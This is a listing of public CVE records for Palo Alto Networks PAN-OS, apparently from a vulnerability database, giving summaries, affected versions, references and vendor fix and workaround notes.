All the vulnerabilites related to paloaltonetworks - pan-os
cve-2020-2042
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-17 00:56
Summary
A buffer overflow vulnerability in the PAN-OS management web interface allows authenticated administrators to disrupt system processes and potentially execute arbitrary code with root privileges. This issue impacts only PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-8390
Vulnerability from cvelistv5
Published
2017-08-02 19:00
Modified
2024-08-05 16:34
Severity ?
Summary
The DNS Proxy in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to execute arbitrary code via a crafted domain name.
References
http://www.securityfocus.com/bid/99911vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1038976vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-8390x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2040
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 22:40
Severity ?
Summary
A buffer overflow vulnerability in PAN-OS allows an unauthenticated attacker to disrupt system processes and potentially execute arbitrary code with root privileges by sending a malicious request to the Captive Portal or Multi-Factor Authentication interface. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-10139
Vulnerability from cvelistv5
Published
2018-08-16 18:00
Modified
2024-09-17 01:25
Severity ?
Summary
The PAN-OS response for GlobalProtect Gateway in Palo Alto Networks PAN-OS 6.1.21 and earlier, PAN-OS 7.1.18 and earlier, PAN-OS 8.0.11 and earlier may allow an unauthenticated attacker to inject arbitrary JavaScript or HTML. PAN-OS 8.1 is NOT affected.
References
http://www.securityfocus.com/bid/105111vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1041544vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2018-10139x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-0004
Vulnerability from cvelistv5
Published
2023-04-12 16:41
Modified
2024-08-02 04:54
Summary
A local file deletion vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to delete files from the local file system with elevated privileges. These files can include logs and system components that impact the integrity and availability of PAN-OS software.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2018-10141
Vulnerability from cvelistv5
Published
2018-10-12 22:00
Modified
2024-09-16 16:12
Severity ?
Summary
GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1980
Vulnerability from cvelistv5
Published
2020-03-11 18:58
Modified
2024-09-16 16:29
Summary
A shell command injection vulnerability in the PAN-OS CLI allows a local authenticated user to escape the restricted shell and escalate privileges. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions. This issue is fixed in PAN-OS 8.1.13, and all later versions.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-3400
Vulnerability from cvelistv5
Published
2024-04-12 07:20
Modified
2024-08-01 20:12
Severity ?
Summary
A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2023-6794
Vulnerability from cvelistv5
Published
2023-12-13 18:16
Modified
2024-08-02 08:42
Summary
An arbitrary file upload vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write administrator with access to the web interface to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2021-3046
Vulnerability from cvelistv5
Published
2021-08-11 17:10
Modified
2024-09-17 02:47
Summary
An improper authentication vulnerability exists in Palo Alto Networks PAN-OS software that enables a SAML authenticated attacker to impersonate any other user in the GlobalProtect Portal and GlobalProtect Gateway when they are configured to use SAML authentication. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. PAN-OS 10.1 versions are not impacted.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-7218
Vulnerability from cvelistv5
Published
2017-04-14 14:00
Modified
2024-08-05 15:56
Severity ?
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.1.9 allows remote authenticated users to gain privileges via unspecified request parameters.
References
http://www.securitytracker.com/id/1038248vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97592vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-7218x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1993
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:00
Summary
The GlobalProtect Portal feature in PAN-OS does not set a new session identifier after a successful user login, which allows session fixation attacks, if an attacker is able to control a user's session ID. This issue affects: All PAN-OS 7.1 and 8.0 versions; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.8.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1581
Vulnerability from cvelistv5
Published
2019-08-23 17:06
Modified
2024-09-17 00:56
Severity ?
Summary
A remote code execution vulnerability in the PAN-OS SSH device management interface that can lead to unauthenticated remote users with network access to the SSH management interface gaining root access to PAN-OS. This issue affects PAN-OS 7.1 versions prior to 7.1.24-h1, 7.1.25; 8.0 versions prior to 8.0.19-h1, 8.0.20; 8.1 versions prior to 8.1.9-h4, 8.1.10; 9.0 versions prior to 9.0.3-h3, 9.0.4.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6597
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to cause a denial of service (management-server crash) by using the command-line interface for a crafted command, aka Ref ID 35254.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-9458
Vulnerability from cvelistv5
Published
2017-09-07 13:00
Modified
2024-08-05 17:11
Severity ?
Summary
XML external entity (XXE) vulnerability in the GlobalProtect internal and external gateway interface in Palo Alto Networks PAN-OS before 6.1.18, 7.0.x before 7.0.17, 7.1.x before 7.1.12, and 8.0.x before 8.0.3 allows remote attackers to obtain sensitive information, cause a denial of service, or conduct server-side request forgery (SSRF) attacks via unspecified vectors.
References
http://www.securitytracker.com/id/1039256vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/100614vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-9458x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3060
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 18:56
Summary
An OS command injection vulnerability in the Simple Certificate Enrollment Protocol (SCEP) feature of PAN-OS software allows an unauthenticated network-based attacker with specific knowledge of the firewall configuration to execute arbitrary code with root user privileges. The attacker must have network access to the GlobalProtect interfaces to exploit this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers with Prisma Access 2.1 Preferred and Prisma Access 2.1 Innovation firewalls are impacted by this issue.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Version: 2.1 Preferred
Version: 2.1 Innovation
Patch: all
Show details on NVD website


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cve-2020-2015
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 16:13
Summary
A buffer overflow vulnerability in the PAN-OS management server allows authenticated users to crash system processes or potentially execute arbitrary code with root privileges. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7; PAN-OS 9.1 versions earlier than 9.1.1; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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            "value": "This issue is fixed in PAN-OS 7.1.26, PAN-OS 8.1.13, PAN-OS 9.0.7, PAN-OS 9.1.1, and all later PAN-OS versions.\n\nPAN-OS 8.0 is now end-of-life as of October 31, 2019, and is no longer covered by our Product Security Assurance policies."
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    "dateReserved": "2019-12-04T00:00:00",
    "dateUpdated": "2024-09-16T16:13:05.308Z",
    "state": "PUBLISHED"
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cve-2024-3393
Vulnerability from cvelistv5
Published
2024-12-27 09:44
Modified
2024-12-30 17:20
Summary
A Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to send a malicious packet through the data plane of the firewall that reboots the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS Version: 11.2.0   < 11.2.3
Version: 11.1.0   < 11.1.2-h16
Version: 10.2.8   < 10.2.8-h19
Version: 10.1.14   < 10.1.14-h8
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    cpe:2.3:o:paloaltonetworks:pan-os:11.2.2:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.2.1:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.2.1:-:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.2.0:-:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.1.4:h9:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.4:h8:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.4:h7:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.4:h6:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.4:h5:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.1.2:h10:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.1.1:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.1:-:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.1.0:h3:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1.0:h2:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:11.1.0:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:11.1:-:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h18:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h17:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h16:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h15:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h14:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h13:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h12:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h11:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h10:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h9:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h8:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h7:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h6:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h5:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h4:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h3:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h2:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.9:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h18:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h17:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h16:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h15:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h14:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h13:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h12:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h11:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h10:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h9:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h8:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h7:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h6:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h5:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h4:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h3:*:*:*:*:*:*
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    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2.8:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.2:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h5:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h3:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h1:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:*
    cpe:2.3:o:paloaltonetworks:pan-os:10.1:-:*:*:*:*:*:*
Palo Alto Networks PAN-OS Patch: 10.2.0
Version: 11.2.0   < 11.2.3
Show details on NVD website


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              "value": "\u003cp\u003e\u003cspan\u003eThis issue is fixed in PAN-OS 10.1.14-h8, PAN-OS 10.2.10-h12, PAN-OS 11.1.5, PAN-OS 11.2.3, and all later PAN-OS versions.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eNote: PAN-OS 11.0 reached the end of life (EOL) on November 17, 2024, so we do not intend to provide a fix for this release.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003ePrisma Access customers using DNS Security with affected PAN-OS versions should apply one of the workarounds provided below. We will perform upgrades in two phases for impacted customers on the weekends of January 3rd and January 10th. You can request an expedited Prisma Access upgrade to the latest PAN-OS version by opening a \u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/Support/Index\"\u003e\u003cspan\u003esupport case\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003e\u003cspan\u003eIn addition, to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u200b\u200bAdditional PAN-OS 11.1 fixes:\u003c/p\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003e11.1.2-h16\u003c/li\u003e\u003cli\u003e11.1.3-h13\u003c/li\u003e\u003cli\u003e11.1.4-h7\u003c/li\u003e\u003cli\u003e11.1.5\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv\u003eAdditional PAN-OS 10.2 fixes:\u003c/div\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003e10.2.8-h19\u003c/li\u003e\u003cli\u003e10.2.9-h19\u003c/li\u003e\u003cli\u003e10.2.10-h12\u003c/li\u003e\u003cli\u003e10.2.11-h10\u003c/li\u003e\u003cli\u003e10.2.12-h4\u003c/li\u003e\u003cli\u003e10.2.13-h2\u003c/li\u003e\u003cli\u003e10.2.14\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv\u003eAdditional PAN-OS 10.1 fixes:\u003c/div\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003e10.1.14-h8\u003c/li\u003e\u003cli\u003e10.1.15\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv\u003eAdditional PAN-OS fixes only applicable to Prisma Access:\u003c/div\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003e10.2.9-h19\u003c/li\u003e\u003cli\u003e10.2.10-h12\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e"
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              "value": "If your firewall running the vulnerable PAN-OS versions stops responding or reboots unexpectedly and you cannot immediately apply a fix, apply a workaround below based on your deployment.\u003cbr\u003e\u003cbr\u003e\u003cb\u003eUnmanaged NGFWs, NGFW managed by Panorama, or Prisma Access managed by Panorama\u003c/b\u003e\u003cb\u003e\u003cbr\u003e\u003c/b\u003e\u003col\u003e\u003cli\u003eFor each Anti-spyware profile, navigate to Objects \u2192 Security Profiles \u2192 Anti-spyware \u2192 (select a profile) \u2192 DNS Policies \u2192 DNS Security.\u003c/li\u003e\u003cli\u003eChange the Log Severity to \"none\" for all configured DNS Security categories.\u003cbr\u003e\u003c/li\u003e\u003cli\u003eCommit the changes.\u003cbr\u003e\u003c/li\u003e\u003c/ol\u003eRemember to revert the Log Severity settings once the fixes are applied.\u003cbr\u003e\u003cbr\u003e\u003cb\u003eNGFW managed by Strata Cloud Manager (SCM)\u003c/b\u003e\u003cbr\u003e\u003cbr\u003e\u003cdiv\u003e\u003cdiv\u003eYou can choose one of the following mitigation options:\u003c/div\u003e\u003cdiv\u003e\u003col\u003e\u003cli\u003eOption 1: Disable DNS Security logging directly on each NGFW by following the PAN-OS steps above.\u003c/li\u003e\u003cli\u003eOption 2: Disable DNS Security logging across all NGFWs in your tenant by opening a \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/Support/Index\"\u003esupport case\u003c/a\u003e.\u003c/li\u003e\u003c/ol\u003e\u003c/div\u003e\u003cb\u003e\u003cp\u003ePrisma Access managed by Strata Cloud Manager (SCM)\u003c/p\u003e\u003c/b\u003e\u003c/div\u003e\u003cp\u003eUntil we perform an upgrade of your Prisma Access tenant, you can disable DNS Security logging across all NGFWs in your tenant by opening a \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/Support/Index\"\u003esupport case\u003c/a\u003e. If you would like to expedite the upgrade, please make a note of that in the support case.\u003c/p\u003e\u003cb\u003e\u003c/b\u003e"
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cve-2016-9149
Vulnerability from cvelistv5
Published
2016-11-19 06:29
Modified
2024-08-06 02:42
Severity ?
Summary
The Addresses Object parser in Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 mishandles single quote characters, which allows remote authenticated users to conduct XPath injection attacks via a crafted string.
References
http://www.securitytracker.com/id/1037379vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/94401vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2016-9149x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6590
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The web-based management UI in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote attackers to obtain verbose error information via crafted input, aka Ref ID 33139.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1998
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:56
Summary
An improper authorization vulnerability in PAN-OS that mistakenly uses the permissions of local linux users instead of the intended SAML permissions of the account when the username is shared for the purposes of SSO authentication. This can result in authentication bypass and unintended resource access for the user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2013
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 03:14
Summary
A cleartext transmission of sensitive information vulnerability in Palo Alto Networks PAN-OS Panorama that discloses an authenticated PAN-OS administrator's PAN-OS session cookie. When an administrator issues a context switch request into a managed firewall with an affected PAN-OS Panorama version, their PAN-OS session cookie is transmitted over cleartext to the firewall. An attacker with the ability to intercept this network traffic between the firewall and Panorama can access the administrator's account and further manipulate devices managed by Panorama. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All version of PAN-OS 8.0;
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1559
Vulnerability from cvelistv5
Published
2019-02-27 23:00
Modified
2024-09-17 04:20
Severity ?
Summary
If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable "non-stitched" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q).
References
http://www.securityfocus.com/bid/107174vdb-entry, x_refsource_BID
https://security.gentoo.org/glsa/201903-10vendor-advisory, x_refsource_GENTOO
https://usn.ubuntu.com/3899-1/vendor-advisory, x_refsource_UBUNTU
https://lists.debian.org/debian-lts-announce/2019/03/msg00003.htmlmailing-list, x_refsource_MLIST
https://www.debian.org/security/2019/dsa-4400vendor-advisory, x_refsource_DEBIAN
http://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00019.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00047.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00049.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00080.htmlvendor-advisory, x_refsource_SUSE
https://access.redhat.com/errata/RHSA-2019:2304vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2439vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2437vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2471vendor-advisory, x_refsource_REDHAT
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EWC42UXL5GHTU5G77VKBF6JYUUNGSHOM/vendor-advisory, x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBEV5QGDRFUZDMNECFXUSN5FMYOZDE4V/vendor-advisory, x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Y3IVFGSERAZLNJCK35TEM2R4726XIH3Z/vendor-advisory, x_refsource_FEDORA
https://access.redhat.com/errata/RHSA-2019:3929vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3931vendor-advisory, x_refsource_REDHAT
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.htmlx_refsource_MISC
https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlx_refsource_MISC
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlx_refsource_MISC
https://www.oracle.com/security-alerts/cpujan2020.htmlx_refsource_MISC
https://usn.ubuntu.com/4376-2/vendor-advisory, x_refsource_UBUNTU
https://www.oracle.com/security-alerts/cpujan2021.htmlx_refsource_MISC
https://security.netapp.com/advisory/ntap-20190301-0001/x_refsource_CONFIRM
https://security.netapp.com/advisory/ntap-20190301-0002/x_refsource_CONFIRM
https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=e9bbefbf0f24c57645e7ad6a5a71ae649d18ac8ex_refsource_CONFIRM
https://www.openssl.org/news/secadv/20190226.txtx_refsource_CONFIRM
https://support.f5.com/csp/article/K18549143x_refsource_CONFIRM
https://www.tenable.com/security/tns-2019-02x_refsource_CONFIRM
https://security.netapp.com/advisory/ntap-20190423-0002/x_refsource_CONFIRM
https://www.tenable.com/security/tns-2019-03x_refsource_CONFIRM
https://kc.mcafee.com/corporate/index?page=content&id=SB10282x_refsource_CONFIRM
https://support.f5.com/csp/article/K18549143?utm_source=f5support&amp%3Butm_medium=RSSx_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1975
Vulnerability from cvelistv5
Published
2020-02-12 22:57
Modified
2024-09-16 18:23
Summary
Missing XML validation vulnerability in the PAN-OS web interface on Palo Alto Networks PAN-OS software allows authenticated users to inject arbitrary XML that results in privilege escalation. This issue affects PAN-OS 8.1 versions earlier than PAN-OS 8.1.12 and PAN-OS 9.0 versions earlier than PAN-OS 9.0.6. This issue does not affect PAN-OS 7.1, PAN-OS 8.0, or PAN-OS 9.1 or later versions.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2014-3764
Vulnerability from cvelistv5
Published
2015-01-06 15:00
Modified
2024-08-06 10:57
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the web-based device management interface in Palo Alto Networks PAN-OS before 5.0.15, 5.1.x before 5.1.10, and 6.0.x before 6.0.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka Ref ID 64563.
References
http://secunia.com/advisories/61811third-party-advisory, x_refsource_SECUNIA
https://security.paloaltonetworks.com/CVE-2014-3764x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2001
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 20:48
Summary
An external control of path and data vulnerability in the Palo Alto Networks PAN-OS Panorama XSLT processing logic that allows an unauthenticated user with network access to PAN-OS management interface to write attacker supplied file on the system and elevate privileges. This issue affects: All PAN-OS 7.1 Panorama and 8.0 Panorama versions; PAN-OS 8.1 versions earlier than 8.1.12 on Panorama; PAN-OS 9.0 versions earlier than 9.0.6 on Panorama.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2036
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 21:07
Summary
A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3031
Vulnerability from cvelistv5
Published
2021-01-13 18:10
Modified
2024-09-16 16:48
Summary
Padding bytes in Ethernet packets on PA-200, PA-220, PA-500, PA-800, PA-2000 Series, PA-3000 Series, PA-3200 Series, PA-5200 Series, and PA-7000 Series firewalls are not cleared before the data frame is created. This leaks a small amount of random information from the firewall memory into the Ethernet packets. An attacker on the same Ethernet subnet as the PAN-OS firewall is able to collect potentially sensitive information from these packets. This issue is also known as Etherleak and is detected by security scanners as CVE-2003-0001. This issue impacts: PAN-OS 8.1 version earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5.
References
Impacted products
Vendor Product Version
